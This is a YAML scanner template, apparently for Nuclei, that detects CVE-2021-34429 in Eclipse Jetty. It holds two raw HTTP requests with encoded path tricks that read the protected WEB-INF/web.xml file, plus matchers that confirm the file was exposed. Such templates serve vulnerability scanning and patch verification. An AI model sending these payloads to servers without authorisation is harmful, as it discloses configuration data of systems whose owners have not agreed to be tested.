48 lines
1.3 KiB
YAML
48 lines
1.3 KiB
YAML
id: CVE-2021-34429
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info:
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name: Jetty Authorization Before Parsing and Canonicalization Variation
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author: Bernardo Rodrigues @bernardofsr | André Monteiro @am0nt31r0
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severity: medium
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description: |
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For Eclipse Jetty versions 9.4.37-9.4.42, 10.0.1-10.0.5 & 11.0.1-11.0.5, URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
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reference:
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- https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
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tags: cve,cve2021,jetty
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.30
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cve-id: CVE-2021-34429
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cwe-id: CWE-200
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requests:
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- raw:
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- |+
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GET /%u002e/WEB-INF/web.xml HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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- |+
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GET /.%00/WEB-INF/web.xml HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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unsafe: true
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "</web-app>"
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- "java.sun.com"
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part: body
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condition: and
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- type: word
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part: header
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words:
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- "application/xml" |